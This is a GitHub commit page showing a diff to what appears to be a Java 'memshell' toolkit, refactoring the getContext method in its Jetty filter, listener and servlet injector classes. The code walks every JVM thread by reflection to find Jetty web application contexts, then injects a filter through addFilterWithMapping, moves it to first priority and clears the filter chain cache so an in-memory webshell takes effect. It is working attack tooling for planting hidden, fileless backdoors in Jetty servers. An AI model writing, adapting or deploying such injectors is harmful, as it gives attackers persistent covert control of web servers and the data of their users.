Skip to content

Commit a438cb7

Browse files
committed
perf: simplify jetty getContext method
1 parent bf3f508 commit a438cb7

File tree

3 files changed

+67
-172
lines changed

3 files changed

+67
-172
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 23 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -46,12 +46,9 @@ public String getBase64String() throws IOException {
4646

4747
public void inject(Object context, Object filter) throws Exception {
4848
Object servletHandler = getFieldValue(context, "_servletHandler");
49-
5049
if (servletHandler == null) {
5150
return;
5251
}
53-
54-
// 1. 判断是否已经注入
5552
if (isInjected(servletHandler)) {
5653
System.out.println("filter is already injected");
5754
return;
@@ -66,19 +63,13 @@ public void inject(Object context, Object filter) throws Exception {
6663
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
6764
Object filterHolder = constructor.newInstance(filter.getClass());
6865
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
69-
70-
// 2. 注入内存马Filter
7166
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
72-
73-
// 3. 修改Filter的优先级为第一位
7467
moveFilterToFirst(servletHandler);
75-
76-
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
7768
invokeMethod(servletHandler, "invalidateChainsCache");
7869
System.out.println("filter added successfully");
7970
}
8071

81-
void moveFilterToFirst(Object servletHandler) throws Exception {
72+
private void moveFilterToFirst(Object servletHandler) throws Exception {
8273
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
8374
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
8475
int filterLength;
@@ -115,71 +106,39 @@ void moveFilterToFirst(Object servletHandler) throws Exception {
115106
}
116107
}
117108

118-
List<Object> getContext() {
109+
private List<Object> getContext() {
119110
List<Object> contexts = new ArrayList<Object>();
120111
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
121112
for (Thread thread : threads) {
122113
try {
123-
Object contextClassLoader = getContextClassLoader(thread);
124-
if (isWebAppClassLoader(contextClassLoader)) {
125-
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
126-
} else if (isHttpConnection(thread)) {
127-
contexts.add(getContextFromHttpConnection(thread));
114+
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
115+
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
116+
Object context = getFieldValue(contextClassLoader, "_context");
117+
Object handler = getFieldValue(context, "_servletHandler");
118+
contexts.add(getFieldValue(handler, "_contextHandler"));
119+
} else {
120+
Object threadLocals = getFieldValue(thread, "threadLocals");
121+
Object table = getFieldValue(threadLocals, "table");
122+
for (int i = 0; i < Array.getLength(table); ++i) {
123+
Object entry = Array.get(table, i);
124+
if (entry != null) {
125+
Object httpConnection = getFieldValue(entry, "value");
126+
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
127+
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
128+
Object request = invokeMethod(httpChannel, "getRequest");
129+
Object session = invokeMethod(request, "getSession");
130+
Object servletContext = invokeMethod(session, "getServletContext");
131+
contexts.add(getFieldValue(servletContext, "this$0"));
132+
}
133+
}
134+
}
128135
}
129136
} catch (Exception ignored) {
130137
}
131138
}
132139
return contexts;
133140
}
134141

135-
private Object getContextClassLoader(Thread thread) throws Exception {
136-
return invokeMethod(thread, "getContextClassLoader");
137-
}
138-
139-
private boolean isWebAppClassLoader(Object classLoader) {
140-
return classLoader.getClass().getName().contains("WebAppClassLoader");
141-
}
142-
143-
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
144-
Object context = getFieldValue(classLoader, "_context");
145-
Object handler = getFieldValue(context, "_servletHandler");
146-
return getFieldValue(handler, "_contextHandler");
147-
}
148-
149-
private boolean isHttpConnection(Thread thread) throws Exception {
150-
Object threadLocals = getFieldValue(thread, "threadLocals");
151-
Object table = getFieldValue(threadLocals, "table");
152-
for (int i = 0; i < Array.getLength(table); ++i) {
153-
Object entry = Array.get(table, i);
154-
if (entry != null) {
155-
Object httpConnection = getFieldValue(entry, "value");
156-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
157-
return true;
158-
}
159-
}
160-
}
161-
return false;
162-
}
163-
164-
private Object getContextFromHttpConnection(Thread thread) throws Exception {
165-
Object threadLocals = getFieldValue(thread, "threadLocals");
166-
Object table = getFieldValue(threadLocals, "table");
167-
for (int i = 0; i < Array.getLength(table); ++i) {
168-
Object entry = Array.get(table, i);
169-
if (entry != null) {
170-
Object httpConnection = getFieldValue(entry, "value");
171-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
172-
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
173-
Object request = invokeMethod(httpChannel, "getRequest");
174-
Object session = invokeMethod(request, "getSession");
175-
Object servletContext = invokeMethod(session, "getServletContext");
176-
return getFieldValue(servletContext, "this$0");
177-
}
178-
}
179-
}
180-
throw new Exception("HttpConnection not found");
181-
}
182-
183142
@SuppressWarnings("all")
184143
private Object getShell(Object context) throws Exception {
185144
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

Lines changed: 22 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -43,71 +43,39 @@ public String getBase64String() throws IOException {
4343
return "{{base64Str}}";
4444
}
4545

46-
List<Object> getContext() {
46+
private List<Object> getContext() {
4747
List<Object> contexts = new ArrayList<Object>();
4848
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
4949
for (Thread thread : threads) {
5050
try {
51-
Object contextClassLoader = getContextClassLoader(thread);
52-
if (isWebAppClassLoader(contextClassLoader)) {
53-
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
54-
} else if (isHttpConnection(thread)) {
55-
contexts.add(getContextFromHttpConnection(thread));
51+
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
52+
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
53+
Object context = getFieldValue(contextClassLoader, "_context");
54+
Object handler = getFieldValue(context, "_servletHandler");
55+
contexts.add(getFieldValue(handler, "_contextHandler"));
56+
} else {
57+
Object threadLocals = getFieldValue(thread, "threadLocals");
58+
Object table = getFieldValue(threadLocals, "table");
59+
for (int i = 0; i < Array.getLength(table); ++i) {
60+
Object entry = Array.get(table, i);
61+
if (entry != null) {
62+
Object httpConnection = getFieldValue(entry, "value");
63+
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
64+
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
65+
Object request = invokeMethod(httpChannel, "getRequest");
66+
Object session = invokeMethod(request, "getSession");
67+
Object servletContext = invokeMethod(session, "getServletContext");
68+
contexts.add(getFieldValue(servletContext, "this$0"));
69+
}
70+
}
71+
}
5672
}
5773
} catch (Exception ignored) {
5874
}
5975
}
6076
return contexts;
6177
}
6278

63-
private Object getContextClassLoader(Thread thread) throws Exception {
64-
return invokeMethod(thread, "getContextClassLoader");
65-
}
66-
67-
private boolean isWebAppClassLoader(Object classLoader) {
68-
return classLoader.getClass().getName().contains("WebAppClassLoader");
69-
}
70-
71-
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
72-
Object context = getFieldValue(classLoader, "_context");
73-
Object handler = getFieldValue(context, "_servletHandler");
74-
return getFieldValue(handler, "_contextHandler");
75-
}
76-
77-
private boolean isHttpConnection(Thread thread) throws Exception {
78-
Object threadLocals = getFieldValue(thread, "threadLocals");
79-
Object table = getFieldValue(threadLocals, "table");
80-
for (int i = 0; i < Array.getLength(table); ++i) {
81-
Object entry = Array.get(table, i);
82-
if (entry != null) {
83-
Object httpConnection = getFieldValue(entry, "value");
84-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
85-
return true;
86-
}
87-
}
88-
}
89-
return false;
90-
}
91-
92-
private Object getContextFromHttpConnection(Thread thread) throws Exception {
93-
Object threadLocals = getFieldValue(thread, "threadLocals");
94-
Object table = getFieldValue(threadLocals, "table");
95-
for (int i = 0; i < Array.getLength(table); ++i) {
96-
Object entry = Array.get(table, i);
97-
if (entry != null) {
98-
Object httpConnection = getFieldValue(entry, "value");
99-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
100-
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
101-
Object request = invokeMethod(httpChannel, "getRequest");
102-
Object session = invokeMethod(request, "getSession");
103-
Object servletContext = invokeMethod(session, "getServletContext");
104-
return getFieldValue(servletContext, "this$0");
105-
}
106-
}
107-
}
108-
throw new Exception("HttpConnection not found");
109-
}
110-
11179
@SuppressWarnings("all")
11280
private Object getShell(Object context) throws Exception {
11381
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

Lines changed: 22 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -51,71 +51,39 @@ public Class<?> getServletClass(ClassLoader classLoader) throws ClassNotFoundExc
5151
}
5252
}
5353

54-
List<Object> getContext() {
54+
private List<Object> getContext() {
5555
List<Object> contexts = new ArrayList<Object>();
5656
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
5757
for (Thread thread : threads) {
5858
try {
59-
Object contextClassLoader = getContextClassLoader(thread);
60-
if (isWebAppClassLoader(contextClassLoader)) {
61-
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
62-
} else if (isHttpConnection(thread)) {
63-
contexts.add(getContextFromHttpConnection(thread));
59+
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
60+
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
61+
Object context = getFieldValue(contextClassLoader, "_context");
62+
Object handler = getFieldValue(context, "_servletHandler");
63+
contexts.add(getFieldValue(handler, "_contextHandler"));
64+
} else {
65+
Object threadLocals = getFieldValue(thread, "threadLocals");
66+
Object table = getFieldValue(threadLocals, "table");
67+
for (int i = 0; i < Array.getLength(table); ++i) {
68+
Object entry = Array.get(table, i);
69+
if (entry != null) {
70+
Object httpConnection = getFieldValue(entry, "value");
71+
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
72+
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
73+
Object request = invokeMethod(httpChannel, "getRequest");
74+
Object session = invokeMethod(request, "getSession");
75+
Object servletContext = invokeMethod(session, "getServletContext");
76+
contexts.add(getFieldValue(servletContext, "this$0"));
77+
}
78+
}
79+
}
6480
}
6581
} catch (Exception ignored) {
6682
}
6783
}
6884
return contexts;
6985
}
7086

71-
private Object getContextClassLoader(Thread thread) throws Exception {
72-
return invokeMethod(thread, "getContextClassLoader");
73-
}
74-
75-
private boolean isWebAppClassLoader(Object classLoader) {
76-
return classLoader.getClass().getName().contains("WebAppClassLoader");
77-
}
78-
79-
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
80-
Object context = getFieldValue(classLoader, "_context");
81-
Object handler = getFieldValue(context, "_servletHandler");
82-
return getFieldValue(handler, "_contextHandler");
83-
}
84-
85-
private boolean isHttpConnection(Thread thread) throws Exception {
86-
Object threadLocals = getFieldValue(thread, "threadLocals");
87-
Object table = getFieldValue(threadLocals, "table");
88-
for (int i = 0; i < Array.getLength(table); ++i) {
89-
Object entry = Array.get(table, i);
90-
if (entry != null) {
91-
Object httpConnection = getFieldValue(entry, "value");
92-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
93-
return true;
94-
}
95-
}
96-
}
97-
return false;
98-
}
99-
100-
private Object getContextFromHttpConnection(Thread thread) throws Exception {
101-
Object threadLocals = getFieldValue(thread, "threadLocals");
102-
Object table = getFieldValue(threadLocals, "table");
103-
for (int i = 0; i < Array.getLength(table); ++i) {
104-
Object entry = Array.get(table, i);
105-
if (entry != null) {
106-
Object httpConnection = getFieldValue(entry, "value");
107-
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
108-
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
109-
Object request = invokeMethod(httpChannel, "getRequest");
110-
Object session = invokeMethod(request, "getSession");
111-
Object servletContext = invokeMethod(session, "getServletContext");
112-
return getFieldValue(servletContext, "this$0");
113-
}
114-
}
115-
}
116-
throw new Exception("HttpConnection not found");
117-
}
118-
11987
@SuppressWarnings("all")
12088
private Object getShell(Object context) throws Exception {
12189
ClassLoader classLoader = context.getClass().getClassLoader();

0 commit comments

Comments
 (0)